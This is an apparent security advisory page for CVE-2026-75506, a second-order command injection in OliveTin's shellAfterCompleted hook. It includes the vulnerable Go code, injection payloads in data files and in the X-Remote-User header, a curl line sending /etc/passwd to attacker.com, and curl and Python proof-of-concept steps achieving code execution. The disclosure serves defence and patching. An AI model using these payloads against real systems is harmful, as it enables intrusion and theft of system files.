MEDIUM · CVSS 3.1 6.6 EPSS 0.9% · 56th percentile CWE-74CWE-78

CVE-2026-75506: OliveTin: Second-Order OS Command Injection via shellAfterCompleted

Published 2026-11-18 · Updated 2026-11-23 · Also known as GHSA-vc6p-m6vx-6cwq, GO-2026-6995

Summary

OliveTin is vulnerable to second-order OS command injection within the shellAfterCompleted post-execution hook. Users should update to version 0.0.0-20260728155752-e5d29b68da66 or later to address the lack of input sanitization.

Who is affected

This flaw allows an attacker to execute arbitrary OS commands as the OliveTin process user by injecting shell metacharacters into command outputs or trusted authentication headers. Deployments are vulnerable if they utilize the shellAfterCompleted functionality and process untrusted input or enable trusted header authentication.

Exploitability

With a CVSS base score of 6.6 and a high severity rating, the vulnerability requires high-privileged access but can be triggered remotely. The EPSS score of 0.006 indicates a low current probability of exploitation, and the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities catalog.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-11-23. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
Go github.com/OliveTin/OliveTin >= 0, < 0.0.0-20260728155752-e5d29b68da66 0.0.0-20260728155752-e5d29b68da66 go get github.com/OliveTin/[email protected]

CVSS 3.1 vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Attack vectorNetwork
Attack complexityHigh
Privileges requiredHigh
User interactionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh

FAQ

Is this the same as CVE-2026-27626?

No, this is a distinct vulnerability in the post-execution step, whereas the previous CVE concerned the primary execution step.

Does this require direct access to the OliveTin server filesystem?

No, the injection can be triggered via external data sources reflected in command output or through malicious HTTP headers if trusted header authentication is configured.

Are there any workarounds if I cannot upgrade immediately?

Not documented; the recommendation is to update to the provided fixed version.

Original advisory description
## Summary OliveTin's `shellAfterCompleted` post-execution hook injects unsanitized variables - including arbitrary command output (`output`), the authenticated username (`ot_username`), and the exit code (`exitCode`) - directly into a shell command template processed by `sh -c`. Unlike the main action's argument handling, **no `checkShellArgumentSafety` validation is applied** to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell. This is a **distinct** finding from CVE-2026-27626 (OS command injection via `password` type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the **post-execution step** (`stepExecAfter`), which has **zero** safety checks on any of its template variables. ## Affected Versions - All versions containing `shellAfterCompleted` functionality (current codebase through latest) ## Details ### Vulnerable Code Path In `service/internal/executor/executor.go`, the `stepExecAfter` function handles post-execution commands: ```go func stepExecAfter(req *ExecutionRequest) bool { if req.Binding.Action.ShellAfterCompleted == "" { return true } // These variables are injected WITHOUT any type checking or sanitization args := map[string]string{ "output": req.logEntry.Output, // Arbitrary command stdout/stderr "exitCode": fmt.Sprintf("%v", req.logEntry.ExitCode), "ot_executionTrackingId": req.TrackingID, "ot_username": req.AuthenticatedUser.Username, // User-controlled via trusted headers } // Template rendered with unsanitized args finalParsedCommand, err := tpl.ParseTemplateWithActionContext( req.Binding.Action.ShellAfterCompleted, req.Binding.Entity, args, ) // Directly passed to sh -c - NO safety check cmd := wrapCommandInShell(ctx, finalParsedCommand) // ... } ``` The `wrapCommandInShell` function (in `executor_unix.go`) executes: ```go func wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd { return exec.CommandContext(ctx, "sh", "-c", finalParsedCommand) } ``` ### Why This Bypasses Existing Protections The main action's shell commands go through `checkShellArgumentSafety` (called from `handleShellBranch` at line 693 of executor.go), which blocks dangerous argument types like `password`, `url`, `email`, `raw_string_multiline`, and `very_dangerous_raw_string` from shell mode. **`stepExecAfter` calls none of these checks.** The `output` variable is: - Not a declared argument with a type - it's internally created - Not validated against any regex or type system - Not passed through `checkShellArgumentSafety` - Directly interpolated into a shell command template A `grep` for `checkShellArgumentSafety` in the codebase confirms it is **only** invoked at one location: ``` executor.go:693: if err := checkShellArgumentSafety(req); err != nil { ``` This is inside `handleShellBranch` (the primary action execution), **not** in `stepExecAfter`. ### Injection Vectors #### Vector 1: Output Reflection If a primary action echoes user-controlled input: ```yaml actions: - title: Lookup User shell: "echo 'User: {{ .Arguments.username }}'" shellAfterCompleted: "audit-log '{{ .Arguments.output }}'" arguments: - name: username type: ascii_identifier ``` While `ascii_identifier` constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into `shellAfterCompleted`. #### Vector 2: Exec Mode Output Injection Actions using `exec` mode (array form) safely handle arguments in the primary command but the **output** still flows to `shellAfterCompleted` through a shell: ```yaml actions: - title: Read External Data exec: - cat - /shared/data/{{ .Arguments.filename }} shellAfterCompleted: "process-result '{{ .Arguments.output }}'" arguments: - name: filename type: ascii_identifier ``` If `/shared/data/report` contains text like: ``` '; curl http://attacker.com/exfil?data=$(cat /etc/passwd) # ``` The `shellAfterCompleted` becomes: ```bash process-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #' ``` This executes arbitrary commands as the OliveTin process user. #### Vector 3: Username Injection via Trusted Headers When trusted header authentication is used (see Finding 04), the `ot_username` variable comes directly from an HTTP header with no sanitization: ```yaml actions: - title: Any Action shell: "echo ok" shellAfterCompleted: "logger 'Action completed by {{ .Arguments.ot_username }}'" ``` An attacker sets: ``` X-Remote-User: '; id > /tmp/pwned # ``` The `shellAfterCompleted` becomes: ```bash logger 'Action completed by '; id > /tmp/pwned #' ``` This chains Findings 04 and 05: trusted header spoofing enables username-based injection into post-execution commands. ## PoC ### Prerequisites - OliveTin instance with an action configured with `shellAfterCompleted` - The `shellAfterCompleted` template references `{{ .Arguments.output }}` or `{{ .Arguments.ot_username }}` ### Config ```yaml listenAddressSingleHTTPFrontend: 0.0.0.0:1337 logLevel: "DEBUG" checkForUpdates: false actions: - title: Process File id: process-file exec: - cat - "/tmp/olivetin-data/{{ .Arguments.filename }}" shellAfterCompleted: "echo '{{ .Arguments.output }}' >> /tmp/olivetin-audit.log" arguments: - name: filename type: ascii_identifier ``` ### Step 1: Create a malicious data file ```bash # On the server, create a file with shell injection payload mkdir -p /tmp/olivetin-data echo "normal_data'; touch /tmp/PWNED; echo '" > /tmp/olivetin-data/report ``` ### Step 2: Execute the action normally ```bash curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \ -H 'Content-Type: application/json' \ -d '{"bindingId":"process-file","arguments":[{"name":"filename","value":"report"}]}' ``` ### Step 3: Verify injection ```bash ls -la /tmp/PWNED # If the file exists, the injection was successful ``` **Explanation**: The `cat` command (exec mode) safely reads the file. The output `normal_data'; touch /tmp/PWNED; echo '` is captured. Then `shellAfterCompleted` renders: ```bash echo 'normal_data'; touch /tmp/PWNED; echo '' >> /tmp/olivetin-audit.log ``` This executes `touch /tmp/PWNED` as a second command. ### Step 4: Username injection (with trusted headers) ```yaml # Add to config authHttpHeaderUsername: "X-Remote-User" ``` ```bash curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \ -H 'Content-Type: application/json' \ -H "X-Remote-User: test'; touch /tmp/PWNED2; echo '" \ -d '{"bindingId":"some-action","arguments":[]}' ``` If `shellAfterCompleted` uses `{{ .Arguments.ot_username }}`, the injection executes. ### Python PoC ```python #!/usr/bin/env python3 """PoC: Second-Order Command Injection via shellAfterCompleted output variable. Distinct from CVE-2026-27626 (password type injection in primary execution). This exploits the post-execution step which has zero argument safety checks. """ import requests import time import os TARGET = "http://127.0.0.1:1337" BINDING_ID = "process-file" def setup_payload(): """Create a data file containing shell injection payload.""" os.makedirs("/tmp/olivetin-data", exist_ok=True) with open("/tmp/olivetin-data/exploit", "w") as f: f.write("data'; id > /tmp/rce-proof; echo '") print("[+] Created malicious data file") def trigger_action(): """Execute the action that reads the malicious file.""" resp = requests.post( f"{TARGET}/api/StartActionAndWait", json={ "bindingId": BINDING_ID, "arguments": [{"name": "filename", "value": "exploit"}] }, headers={"Content-Type": "application/json"} ) print(f"[+] Action response: {resp.status_code}") return resp.json() def verify_rce(): """Check if the injected command executed.""" time.sleep(2) if os.path.exists("/tmp/rce-proof"): with open("/tmp/rce-proof") as f: print(f"[!] RCE CONFIRMED: {f.read().strip()}") return True else: print("[-] /tmp/rce-proof not found") return False if __name__ == "__main__": setup_payload() result = trigger_action() print(f"[*] Action output: {result}") verify_rce() ``` ## Impact - **Remote Code Execution**: Arbitrary commands execute as the OliveTin process user - **Chained with Finding 04**: Trusted header spoofing enables injection via `ot_username` - **Bypass of CVE-2026-27626 fix**: The fix for that CVE only addressed `checkShellArgumentSafety` in the primary execution step; the post-execution step was not hardened - **Exec mode bypass**: Actions using the safe `exec` mode (array form) for the primary command can still be exploited through their output flowing to the shell-based `shellAfterCompleted` ## Remediation 1. **Apply `checkShellArgumentSafety`** (or equivalent) to `stepExecAfter` variables 2. **Shell-escape the `output`, `ot_username`, and `exitCode` values** before template substitution (e.g., using `shellescape.Quote()`) 3. **Consider adding an exec-mode variant** for `shellAfterCompleted` to avoid shell interpretation entirely 4. **Sanitize `ot_username`** to reject shell metacharacters regardless of the auth provider

References

Source records: GHSA-vc6p-m6vx-6cwq, GO-2026-6995 (OSV.dev) · EPSS by FIRST, 2026-11-26.